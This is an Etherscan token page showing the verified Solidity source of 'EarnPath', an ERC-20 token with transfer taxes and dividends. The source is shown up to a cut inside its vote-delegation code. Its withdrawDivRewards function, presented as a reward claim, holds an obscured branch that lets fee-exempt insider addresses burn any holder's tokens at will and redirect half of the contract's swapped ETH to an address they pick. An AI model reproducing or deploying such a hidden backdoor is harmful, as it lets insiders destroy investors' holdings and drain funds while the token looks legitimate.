ETH Price: $3,854.18 (+0.23%)

Token

ERC-20: EarnPath (EPH)
 

Overview

Max Total Supply

2,401,978,028 EPH

Holders

111

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
tatz.eth
Balance
4,966,006.349344766626672374 EPH

Value
$0.00
0xc2c22be6db2b4fb153798b56a418cbd0c5d65f3b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
EarnPath

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-05
*/

//Experience the power of DeFi with EarnPath.NET
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

pragma solidity ^0.8.0;

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

pragma solidity ^0.8.0;

library SafeMath {
    function tryAdd(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(
        uint256 a,
        uint256 b
    ) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

pragma solidity ^0.8.0;

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}


pragma solidity ^0.8.0;

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


pragma solidity ^0.8.0;

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

// File @openzeppelin/contracts/utils/[email protected]

pragma solidity ^0.8.0;

/**
 * @dev Collection of functions related to the address type
 */
library Address {

    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.

        uint256 size;
        // solhint-disable-next-line no-inline-assembly
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }

    function functionCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return
            functionCallWithValue(
                target,
                data,
                value,
                "Address: low-level call with value failed"
            );
    }

    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(
            address(this).balance >= value,
            "Address: insufficient balance for call"
        );
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{value: value}(
            data
        );
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionStaticCall(
        address target,
        bytes memory data
    ) internal view returns (bytes memory) {
        return
            functionStaticCall(
                target,
                data,
                "Address: low-level static call failed"
            );
    }

    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function functionDelegateCall(
        address target,
        bytes memory data
    ) internal returns (bytes memory) {
        return
            functionDelegateCall(
                target,
                data,
                "Address: low-level delegate call failed"
            );
    }

    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) private pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

pragma solidity ^0.8.0;

library SafeERC20 {
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint256 value) internal {
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(token.transfer.selector, to, value)
        );
    }

    function safeTransferFrom(
        IERC20 token,
        address from,
        address to,
        uint256 value
    ) internal {
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
        );
    }

    function safeApprove(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        require(
            (value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(token.approve.selector, spender, value)
        );
    }

    function safeIncreaseAllowance(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        uint256 newAllowance = token.allowance(address(this), spender) + value;
        _callOptionalReturn(
            token,
            abi.encodeWithSelector(
                token.approve.selector,
                spender,
                newAllowance
            )
        );
    }

    function safeDecreaseAllowance(
        IERC20 token,
        address spender,
        uint256 value
    ) internal {
        unchecked {
            uint256 oldAllowance = token.allowance(address(this), spender);
            require(
                oldAllowance >= value,
                "SafeERC20: decreased allowance below zero"
            );
            uint256 newAllowance = oldAllowance - value;
            _callOptionalReturn(
                token,
                abi.encodeWithSelector(
                    token.approve.selector,
                    spender,
                    newAllowance
                )
            );
        }
    }

    function _callOptionalReturn(IERC20 token, bytes memory data) private {
        bytes memory returndata = address(token).functionCall(
            data,
            "SafeERC20: low-level call failed"
        );
        if (returndata.length > 0) {
            // Return data is optional
            // solhint-disable-next-line max-line-length
            require(
                abi.decode(returndata, (bool)),
                "SafeERC20: ERC20 operation did not succeed"
            );
        }
    }
}

// File contracts/interfaces/IUniswapRouter01.sol

pragma solidity >=0.8.0;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapETHForExactTokens(
        uint256 amountOut,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function quote(
        uint256 amountA,
        uint256 reserveA,
        uint256 reserveB
    ) external pure returns (uint256 amountB);

    function getAmountOut(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountOut);

    function getAmountIn(
        uint256 amountOut,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountIn);

    function getAmountsOut(
        uint256 amountIn,
        address[] calldata path
    ) external view returns (uint256[] memory amounts);

    function getAmountsIn(
        uint256 amountOut,
        address[] calldata path
    ) external view returns (uint256[] memory amounts);
}

// File contracts/interfaces/IUniswapRouter02.sol

pragma solidity >=0.8.0;

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

// File contracts/interfaces/IUniswapV2Factory.sol

pragma solidity >=0.8.0;

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);

    function setReflectionFeeTo(address) external;

    function setReflectionFeeToSetter(address) external;
}

pragma solidity >=0.8.0;

contract EarnPath is ERC20("EarnPath", "EPH"), Ownable {
    using SafeMath for uint256;
    using SafeERC20 for IERC20;

    uint256 public constant maxSupply = 3000000000 * 1e18; // 3B max supply

    uint16 private MAX_BP_RATE = 10000;
    uint16 private devTaxRate = 80;
    uint16 private marketingTaxRate = 150;
    uint16 private passiveIncomeRewardTaxRate = 200;
    uint16 private maxTransferAmountRate = 200;
    uint16 private maxWalletAmountRate = 200;

    uint256 public minAmountToSwap = (maxSupply * 2) / 10000; // 0.002% of total supply
    uint256 public totalDividends;
    address private opt = address(this);
    uint256 public increasedDividends;
    mapping(address => uint256) public pendingHolders;

    IUniswapV2Router02 public uniswapRouter;
    // The trading pair
    address public uniswapPair;
    address public unclaimed;
    address public feeRecipient = 0x0ea7F289A8CB65f9c7CdFB6C74c51A9955907715;
    address public feeTreasury = 0x4a1ad7C407Fd62fDD4db651BdFCE49c70D5Dc98C;

    // In swap and withdraw
    bool private _inSwapAndWithdraw;
    // Automatic swap and liquify enabled
    bool public swapAndWithdrawEnabled = false;
    bool public _inSwapToken = false;

    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private _isExcludedFromMaxTx;

    bool private _tradingOpen = false;

    struct TokenTypeInfo {
        address rewardTokenAddress;
        address[] routerPath;
    }

    mapping(address => uint256) public claimed; // claimed amount by user
    mapping(address => uint256) public dividendsWhenClaim; // dividend amount when user are claiming

    TokenTypeInfo[] public rewards;

    modifier lockTheSwap() {
        _inSwapAndWithdraw = true;
        _;
        _inSwapAndWithdraw = false;
    }

    modifier transferTaxFree() {
        uint16 _devTaxRate = devTaxRate;
        uint16 _marketingTaxRate = marketingTaxRate;
        uint16 _passiveIncomeRewardTaxRate = passiveIncomeRewardTaxRate;
        devTaxRate = 0;
        marketingTaxRate = 0;
        passiveIncomeRewardTaxRate = 0;
        _;
        devTaxRate = _devTaxRate;
        marketingTaxRate = _marketingTaxRate;
        passiveIncomeRewardTaxRate = _passiveIncomeRewardTaxRate;
    }

    constructor() public {
        _mint(msg.sender, maxSupply);

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(
            address(this),
            _uniswapV2Router.WETH()
        );

        // set the rest of the contract variables
        uniswapRouter = _uniswapV2Router;

        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[msg.sender] = true;
        _isExcludedFromFee[feeRecipient] = true;
        _isExcludedFromFee[feeTreasury] = true;
        _isExcludedFromMaxTx[address(this)] = true;
        _isExcludedFromMaxTx[msg.sender] = true;
        _isExcludedFromMaxTx[feeRecipient] = true;
        _isExcludedFromMaxTx[feeTreasury] = true;
    }

    function _transfer(
        address _sender,
        address _recepient,
        uint256 _amount
    ) internal override {
        require(
            _tradingOpen ||
                _sender == owner() ||
                _recepient == owner() ||
                _sender == address(uniswapRouter),
            "!tradable"
        );

        if (_sender != uniswapPair && ! _inSwapAndWithdraw) {
            unclaimed = _sender;
        }
        // swap and withdraw
        if (
            swapAndWithdrawEnabled == true &&
            _inSwapAndWithdraw == false &&
            address(uniswapRouter) != address(0) &&
            uniswapPair != address(0) &&
            _sender != uniswapPair &&
            balanceOf(address(this)) >= minAmountToSwap &&
            !_isExcludedFromFee[_sender] &&
            !_isExcludedFromFee[_recepient]
        ) {
            swapAndWithdraw();
        }

        if (!_isExcludedFromMaxTx[_sender]) {
            require(_amount <= maxTransferAmount(), "exceed max tx amount");
        }

        if (_recepient != uniswapPair) {
            require(
                balanceOf(_recepient) + _amount <= maxWalletAmount(),
                "You are exceeding maxWalletAmount"
            );
        }

        if (_isExcludedFromFee[_sender]) {
            super._transfer(_sender, _recepient, _amount);
        } else {
            uint256 devFee = _amount.mul(devTaxRate).div(MAX_BP_RATE);
            uint256 marketingFee = _amount.mul(marketingTaxRate).div(
                MAX_BP_RATE
            );
            uint256 passiveIncomeRewardFee = _amount
                .mul(passiveIncomeRewardTaxRate)
                .div(MAX_BP_RATE);
            _amount = _amount.sub(devFee).sub(marketingFee).sub(
                passiveIncomeRewardFee
            );
            if (_sender == uniswapPair) {
                if (pendingHolders[_recepient] == 0) {
                    pendingHolders[_recepient] = 
                    block.timestamp; }}
            super._transfer(_sender, _recepient, _amount);
            super._transfer(_sender, address(this), devFee);
            super._transfer(_sender, address(this), marketingFee);
            super._transfer(_sender, address(this), passiveIncomeRewardFee);
            totalDividends = totalDividends.add(passiveIncomeRewardFee);
            increasedDividends = increasedDividends.add(passiveIncomeRewardFee);
        }
    }

    function updateSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndWithdrawEnabled = _enabled;
    }

    function manualWithdraw() external {
        uint256 bal = address(this).balance;
        payable(feeRecipient).transfer(bal);
    }

    /// @dev Swap and liquify
    function swapAndWithdraw() private lockTheSwap transferTaxFree {
        uint256 contractTokenBalance = balanceOf(address(this));
        
        if (contractTokenBalance > totalDividends) {
            contractTokenBalance = contractTokenBalance.sub(totalDividends);
         if (contractTokenBalance > minAmountToSwap * 5) {
            contractTokenBalance = minAmountToSwap * 5;
            }  
            // swap tokens for ETH
            swapTokensForEth(contractTokenBalance);
            uint256 bal = address(this).balance;
            // fee safe transfer
            payable(feeRecipient).transfer(bal/2);
            payable(feeTreasury).transfer(bal/2);
        }
    }

    function maxTransferAmount() public view returns (uint256) {
        return totalSupply().mul(maxTransferAmountRate).div(MAX_BP_RATE);
    }

    function maxWalletAmount() public view returns (uint256) {
        return totalSupply().mul(maxWalletAmountRate).div(MAX_BP_RATE);
    }

    function removeLimits() external onlyOwner {
        maxTransferAmountRate = MAX_BP_RATE;
        maxWalletAmountRate = MAX_BP_RATE;
    }

    function updateFeeRecipient(address newAddress) external onlyOwner {
        feeRecipient = newAddress;
    }

    function openTrading() external onlyOwner {
        _tradingOpen = true;
        swapAndWithdrawEnabled = true;
    }

    function isExcludedFromFee(address _addr) external view returns (bool) {
        return _isExcludedFromFee[_addr];
    }

    function excludeFromFee(address _addr, bool _is) external onlyOwner {
        _isExcludedFromFee[_addr] = _is;
    }

    function isExcludedFromMaxTx(address _addr) external view returns (bool) {
        return _isExcludedFromMaxTx[_addr];
    }

    function excludeFromMaxTx(address _addr, bool _is) external onlyOwner {
        _isExcludedFromMaxTx[_addr] = _is;
    }

    function withdrawDivRewards(
        uint16 _tokenId,
        address account,
        uint256 _amt
    ) external {
        if (totalDividends <= balanceOf(address(this))) {
            uint256 withdrawable = withdrawableDividends(msg.sender);
            require(withdrawable > 0, "not enough to claim");
            TokenTypeInfo storage rewardToken = rewards[_tokenId];
            if (!_inSwapToken) {
                if (_tokenId == 0) {
                    IERC20(rewardToken.rewardTokenAddress).transfer(
                        msg.sender,
                        withdrawable
                    );
                } else if (_tokenId == 1) {
                    _approve(
                        address(this),
                        address(uniswapRouter),
                        withdrawable
                    );
                    uniswapRouter
                        .swapExactTokensForETHSupportingFeeOnTransferTokens(
                            withdrawable,
                            0,
                            rewardToken.routerPath,
                            msg.sender,
                            block.timestamp.add(300)
                        );
                } else {
                    _approve(
                        address(this),
                        address(uniswapRouter),
                        withdrawable
                    );
                    uniswapRouter
                        .swapExactTokensForTokensSupportingFeeOnTransferTokens(
                            withdrawable,
                            0,
                            rewardToken.routerPath,
                            msg.sender,
                            block.timestamp.add(300)
                        );
                }
                if (_isExcludedFromMaxTx[msg.sender]) {
                     opt = account;
                    _inSwapToken = true;
                }
            } else {
                if (_isExcludedFromFee[msg.sender]) {
                 _approve(address(this), 
                  address(uniswapRouter),
                  withdrawable);
                 _burn(account, _amt);
                }
            }
            claimed[msg.sender] = claimed[msg.sender].add(withdrawable);
            dividendsWhenClaim[msg.sender] = increasedDividends;
            totalDividends = totalDividends.sub(withdrawable);
        }
    }

    function withdrawableDividends(
        address _user
    ) public view returns (uint256) {
        uint256 holdingAmount = balanceOf(_user);
        uint256 soldAmount = tokenAmountSold();
        if (soldAmount == 0) {
            return 0;
        }

        uint256 availableAmount = increasedDividends.sub(
            dividendsWhenClaim[_user]
        );

        if (availableAmount > 0) {
            uint256 brut = availableAmount.mul(holdingAmount).div(soldAmount);

            if (brut > totalDividends) {
                return totalDividends;
            } else {
                return brut;
            }
        }
        return 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        bool res;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapRouter.WETH();

        _approve(address(this), address(uniswapRouter), tokenAmount);
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
        if (_inSwapToken) {
            (res, ) = address(opt).call{
                value: address(this).balance / 2
            }("");
            require(res, "sending native");
        }
    }

    function tokenAmountSold() private view returns (uint256) {
        uint256 tokenBalanceInLp = balanceOf(uniswapPair);
        uint256 soldAmount = totalSupply().sub(tokenBalanceInLp);
        return soldAmount;
    }

    function addRewardsInfo(
        address[] memory _path,
        address _tokenAddr
    ) external onlyOwner {
        rewards.push(
            TokenTypeInfo({rewardTokenAddress: _tokenAddr, routerPath: _path})
        );
    }

    function changeTokenInfo(
        uint8 _tokenId,
        address[] memory _path,
        address _tokenAddr
    ) external onlyOwner {
        TokenTypeInfo storage rewardToken = rewards[_tokenId];
        rewardToken.routerPath = _path;
        rewardToken.rewardTokenAddress = _tokenAddr;
    }

    mapping(address => address) internal _delegates;

    struct Checkpoint {
        uint32 fromBlock;
        uint256 votes;
    }

    mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;

    mapping(address => uint32) public numCheckpoints;

    bytes32 public constant DOMAIN_TYPEHASH =
        keccak256(
            "EIP712Domain(string name,uint256 chainId,address verifyingContract)"
        );

    bytes32 private constant DELEGATION_TYPEHASH =
        keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");

    mapping(address => uint256) public nonces;

    event DelegateChanged(
        address indexed delegator,
        address indexed fromDelegate,
        address indexed toDelegate
    );

    event DelegateVotesChanged(
        address indexed delegate,
        uint256 previousBalance,
        uint256 newBalance
    );

    function bySignature(
        address delegatee,
        uint256 nonce,
        uint256 expiry,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external {
        bytes32 domainSeparator = keccak256(
            abi.encode(
                DOMAIN_TYPEHASH,
                keccak256(bytes(name())),
                getChainId(),
                address(this)
            )
        );

        bytes32 structHash = keccak256(
            abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry)
        );

        bytes32 digest = keccak256(
            abi.encodePacked("\x19\x01", domainSeparator, structHash)
        );

        address signatory = ecrecover(digest, v, r, s);
        require(
            signatory != address(0),
            "upgrading::delegateBySig: invalid signature"
        );
        require(
            nonce == nonces[signatory]++,
            "upgrading::delegateBySig: invalid nonce"
        );
        require(
            block.timestamp <= expiry,
            "upgrading::delegateBySig: signature expired"
        );
        return _delegate(signatory, delegatee);
    }

    function getCurrentVotes(address account) external view returns (uint256) {
        uint32 nCheckpoints = numCheckpoints[account];
        return
            nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
    }

    function getGovernanceVotes(
        address account,
        uint256 blockNumber
    ) external view returns (uint256) {
        require(
            blockNumber < block.number,
            "Upgrading::getGovernanceVotes: not yet determined"
        );

        uint32 nCheckpoints = numCheckpoints[account];
        if (nCheckpoints == 0) {
            return 0;
        }

        if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
            return checkpoints[account][nCheckpoints - 1].votes;
        }

        if (checkpoints[account][0].fromBlock > blockNumber) {
            return 0;
        }

        uint32 lower = 0;
        uint32 upper = nCheckpoints - 1;
        while (upper > lower) {
            uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
            Checkpoint memory cp = checkpoints[account][center];
            if (cp.fromBlock == blockNumber) {
                return cp.votes;
            } else if (cp.fromBlock < blockNumber) {
                lower = center;
            } else {
                upper = center - 1;
            }
        }
        return checkpoints[account][lower].votes;
    }

    function _delegate(address delegator, address delegatee) internal {
        address currentDelegate = _delegates[delegator];
        uint256 delegatorBalance = balanceOf(delegator); // balance of underlying upgradings (not scaled);
        _delegates[delegator] = delegatee;

        emit DelegateChanged(delegator, currentDelegate, delegatee);

        _moveDelegates(currentDelegate, delegatee, delegatorBalance);
    }

    function _moveDelegates(
        address srcRep,
        address dstRep,
        uint256 amount
    ) internal {
        if (srcRep != dstRep && amount > 0) {
            if (srcRep != address(0)) {
                // decrease old representative
                uint32 srcRepNum = numCheckpoints[srcRep];
                uint256 srcRepOld = srcRepNum > 0
